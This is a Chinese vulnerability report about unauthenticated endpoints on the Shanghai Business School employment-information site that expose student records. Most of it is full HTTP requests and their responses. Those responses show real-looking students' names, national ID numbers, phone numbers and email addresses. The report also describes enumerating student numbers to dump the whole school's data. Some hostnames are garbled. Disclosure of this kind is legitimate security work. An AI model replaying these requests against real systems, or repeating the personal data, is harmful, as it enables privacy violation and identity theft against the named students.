

无描述...

- 1.漏洞地址: <https://jiuye.sbs.edu.cn/Login.aspx>
- 2.漏洞详情: 上海商学院就业信息服务网存在多处接口未授权, 未登录状态下位置获取学生敏感信息
- 3.资产确认:



- 4.漏洞详情:
    - (1) 第一处接口未授权:
- </manage/StudentInfoEdit.aspx?Xsxh=14221040142>

Request

PrettyRawHex

1GET /manage/StudentInfoEdit.aspx?Xsxh=14221040142 HTTP/1.1

2Host: jiuve.sbs.edu.cn

3Sec-Ch-Ua: "Not\_A Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

4Sec-Ch-Ua-Mobile: ?0

5Sec-Ch-Ua-Platform: "Windows"

6Upgrade-Insecure-Requests: 1

7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9Sec-Fetch-Site: same-origin

10Sec-Fetch-Mode: navigate

11Sec-Fetch-User: ?1

12Sec-Fetch-Dest: iframe

13Referer: https://91.usst.edu.cn/manage/default.aspx

14Accept-Encoding: gzip, deflate

15Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

16Connection: close

17

18

Response

PrettyRawHexRender

基本信息

学习情况

获奖实践

经历自评

推荐意见

基本信息

姓名\*

学号\*

性别\*

女

考生号

身份证

出生日

期\*

民族\*

政治面

共青团员

貌\*

身体状

个人主

况

页

身高

体重

困难情

培养方

非定向

况\*

式\*

生源地

--请选择省份--

--请选择城市--

请求包没有cookie等认证字段，直接获取学生敏感信息，包含身份证号，学号，姓名

以下复现3例：

## Request

Pretty Raw Hex

```
1 GET /manage/StudentInfoEdit.aspx?Xsxh=14222040201 HTTP/1.1
2 Host: jiuye.sbs.edu.cn
3 Sec-Ch-Ua: "Not_A Brand";v="99", "Microsoft Edge";v="109",
  "Chromium";v="109"
4 Sec-Ch-Ua-Mobile: ?0
5 Sec-Ch-Ua-Platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0
  Safari/537.36 Edg/109.0.1518.61
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: iframe
13 Referer: https://91.usst.edu.cn/manage/default.aspx
14 Accept-Encoding: gzip, deflate
15 Accept-Language:
  zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
16 Connection: close
17
18
```

## Response

Pretty Raw Hex Render

基本信息 学习情况 获奖实践 经历自评 推荐意见

## 基本信息

姓名*	曹如迅	学号*	14222040201
性别*	男	考生号	14310104811927
身份证	321084199510275295	出生日	1995-10-27
		期*	
民族*	汉族	政治面	中共党员
		貌*	
身体状		个人主	
况		页	
身高		体重	
困难情	非国难生	培养方	非定向
况*		式*	
生源地	--请选择省份--		
		--请选择城市--	

fcmit.cc

equest

rettyRawHex

GET /manage/StudentInfoEdit.aspx?Xsxh=15601040104 HTTP/1.1  
Host: jiuze.sbs.edu.cn  
Sec-Ch-Ua: "Not\_A Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: https://91.usst.edu.cn/manage/default.aspx  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6  
Connection: close

Settings

Search

0 matches

response

PrettyRawHexRender

基本信息学习情况获奖实践经历自评推荐意见

基本信息

姓名\*

邓云景

学号\*

15601040104

性别\*

女

考生号

15520115150606

身份证

520102199701311620

出生日

1997-01-31

\*

期\*

民族\*

汉族

政治面

共青团员

貌\*

身体状

个人主

况

页

身高

体重

困难情

非国难生

培养方

非定向

况\*

式\*

生源地

--请选择省份--

--请选择城市--

.....

Request

PrettyRawHex

1GET /manage/StudentInfoEdit.aspx?Xsxh=16104040109 HTTP/1.1

2Host: jiuys.sbs.edu.cn

3Sec-Ch-Ua: "Not\_A Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

4Sec-Ch-Ua-Mobile: ?0

5Sec-Ch-Ua-Platform: "Windows"

6Upgrade-Insecure-Requests: 1

7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9Sec-Fetch-Site: same-origin

10Sec-Fetch-Mode: navigate

11Sec-Fetch-User: ?1

12Sec-Fetch-Dest: iframe

13Referer: https://91.usst.edu.cn/manage/default.aspx

14Accept-Encoding: gzip, deflate

15Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

16Connection: close

17

18

Response

PrettyRawHexRender

基本信息学习情况获奖实践经历自评推荐意见

基本信息

姓名\*高哲宇学号\*16104040109

性别\*男考生号16310106152227

身份证320583199809123819出生日1998-09-12

\*期\*

民族\*汉族政治面共青团员

貌\*

身体状个人主

况页

身高体重

困难情非国准生培养方非定向

况式\*

生源地--请选择省份--

--请选择城市--

学号来自谷歌信息收集，理论上可以通过做学号字典可以遍历全校学生个人信息

(2) 第二处接口未授权:

/manage/RecommendationForm.aspx?Xsxh=16104040109



SendCancel<>

Request

PrettyRawHex

1 GET /manage/RecommendationForm.aspx?Xsxh=16104040109 HTTP/1.1

2 Host: jiuys.sbs.edu.cn

3 Sec-CH-UA: "Not\_A\_Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

4 Sec-CH-UA-Mobile: ?0

5 Sec-CH-UA-Platform: "Windows"

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: iframe

13 Referer: https://91.usst.edu.cn/manage/default.aspx

14 Accept-Encoding: gzip, deflate

15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

16 Connection: close


17

18

Response

PrettyRawHexRender

上海商学院2020毕业生推荐表

基本情况	姓 名	高哲宇	性 别	男	民 族	汉族	 暂无图片
	出生年月	1998年09月	生源地		政治面貌	共青团员	
	身体状况		身 高		体 重		
	家庭地址				邮政编码		
教育背景	所在学院	文法学院		入学年月	201609		
	专业名称	法学		毕业年月	202009		
	学 历	本科		学 号	16104040109		
联系方式	联系地址				邮政编码		
	电子邮箱	769272175@qq.com			联系电话	13801872488	
	移动电话	15900634706			个人主页		
技能、特长与爱好							
社会工作与实践							

请求包没有cookie等认证字段，直接获取学生敏感信息，以下复现三例：

GET /manage/RecommendationForm.aspx?Xsxh=14221040142 HTTP/1.1

Host: jiuys.sbs.edu.cn

Sec-CH-UA: "Not\_A\_Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

Sec-CH-UA-Mobile: ?0

Sec-CH-UA-Platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: iframe

Referer: https://91.usst.edu.cn/manage/default.aspx

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Connection: close

上海商学院2020毕业生推荐表

基本情况	姓 名	赵越	性 别	女	民 族	蒙古族	 暂无图片
	出生年月	1995年12月	生源地		政治面貌	共青团员	
	身体状况		身 高		体 重		
	家庭地址				邮政编码		
教育背景	所在学院	文法学院		入学年月	201409		
	专业名称	法学		毕业年月	202009		
	学 历	本科		学 号	14221040142		
联系方式	联系地址				邮政编码		
	电子邮箱	1305513436@qq.com			联系电话	15164905664	
	移动电话	13395072170			个人主页		
技能、特长与爱好							
社会工作与实践							

Request

PrettyRawHex

1 GET /manage/RecommendationForm.aspx?Xsxh=15601040205 HTTP/1.1

2 Host: jiuye.sbs.edu.cn

3 Sec-Ch-Ua: "Not\_A Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

4 Sec-Ch-Ua-Mobile: ?0

5 Sec-Ch-Ua-Platform: "Windows"

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: iframe

13 Referer: https://91.usst.edu.cn/manage/default.aspx

14 Accept-Encoding: gzip, deflate

15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

16 Connection: close


17

18

Response

PrettyRawHexRender

上海商学院2021毕业生推荐表

基本情况	姓 名	程浩	性 别	男	民 族	汉族	 暂无图片				
	出生年月	1995年03月	生源地	河南省	政治面貌	共青团员					
	身体状况		身 高		体 重						
	家庭地址					邮政编码					
教育背景	所在学院	文法学院			入学年月	20150909					
	专业名称	广告学			毕业年月	202109					
	学 历	本科			学 号	15601040205					
联系方式	联系地址					邮政编码					
	电子邮箱	hao_cheng2021@163.com			联系电话	18589650327					
	移动电话					个人主页					
技能、特长与爱好											
社会工作与实践											

Request

PrettyRawHex

1 GET /manage/RecommendationForm.aspx?Xsxh=16221040134 HTTP/1.1

2 Host: jiuye.sbs.edu.cn

3 Sec-Ch-Ua: "Not\_A Brand";v="99", "Microsoft Edge";v="109", "Chromium";v="109"

4 Sec-Ch-Ua-Mobile: ?0

5 Sec-Ch-Ua-Platform: "Windows"

6 Upgrade-Insecure-Requests: 1

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61

8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: iframe

13 Referer: https://91.usst.edu.cn/manage/default.aspx

14 Accept-Encoding: gzip, deflate

15 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

16 Connection: close


17

18

Response

PrettyRawHexRender

上海商学院2020毕业生推荐表

基本情况	姓 名	詹合云	性 别	女	民 族	汉族	 暂无图片				
	出生年月	1997年01月	生源地		政治面貌	共青团员					
	身体状况		身 高		体 重						
	家庭地址					邮政编码					
教育背景	所在学院	文法学院			入学年月	201609					
	专业名称	法学			毕业年月	202009					
	学 历	本科			学 号	16221040134					
联系方式	联系地址					邮政编码					
	电子邮箱	1143430312@qq.com			联系电话	18785084767					
	移动电话	18701917726				个人主页					
技能、特长与爱好											
社会工作与实践											
奖											

请求报文未出现cookie等认证字段做校验，学号来自谷歌信息收集，理论上可以通过做学号字典可以遍历全校学生个人信息

5.修复建议：

(1) 对以下接口做请求校验，以免攻击者通过接口遍历全校学生信息

/manage/StudentInfoEdit.aspx

/manage/RecommendationForm.aspx

fcmit.cc